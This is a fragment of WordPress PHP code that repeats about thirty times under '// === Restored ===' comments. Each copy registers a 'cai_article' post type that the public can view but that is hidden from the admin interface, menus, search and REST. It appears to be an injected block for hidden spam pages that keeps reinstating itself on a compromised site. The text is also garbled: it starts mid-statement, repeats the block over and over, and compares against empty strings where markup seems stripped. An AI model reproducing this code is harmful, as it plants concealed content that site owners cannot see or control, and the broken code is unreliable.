}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
